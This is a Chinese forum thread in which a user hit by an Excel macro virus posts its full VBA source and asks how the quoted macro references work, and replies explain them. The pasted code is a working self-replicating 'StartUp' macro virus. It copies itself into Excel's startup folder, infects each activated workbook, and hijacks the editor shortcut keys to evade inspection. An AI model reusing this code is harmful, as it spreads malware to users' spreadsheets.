不小心中了宏病毒,开始得不到源码,杀了毒后又没源码了,后来又中上了(内网,还是有人不小心的)这回杀毒后能却能看到源码了,复制出来后有个问题来问下高手们Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End SubSub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End SubSub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End SubSub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End SubApplication.OnSheetActivate = "StartUp.xls!cop"这个cop怎么在引号里???

解决方案 »

  1.   

    StartUp.xls!cop
    cop属于xls集合的一个成员
      

  2.   

    sub cop 这不是一个自定义函数吗?
      

  3.   

    StartUp.xls!cop
    表示StartUp.xls的cop宏命令成员,在vba中用!宏命令成员的关系引用符.
    Application.OnSheetActivate = "StartUp.xls!cop"   'sheet激活的时候执行cop宏命令
    Application.OnKey "%{F11}", "StartUp.xls!escape"  '当按下F11的时候执行escape宏命令
    Application.OnKey "%{F8}", "StartUp.xls!escape"    ''当按下F8的时候执行escape宏命令
    不过,碍于宏命令对于office工具的依赖性,生存能力还是很差的,查杀起来也比较被针对.
      

  4.   

    StartUp宏病毒啊。很久的病毒了。Application.OnSheetActivate 。application有SheetActive方法,没见过OnSheetActivate
      

  5.   

    话说用WPS的我把宏病毒给淹死了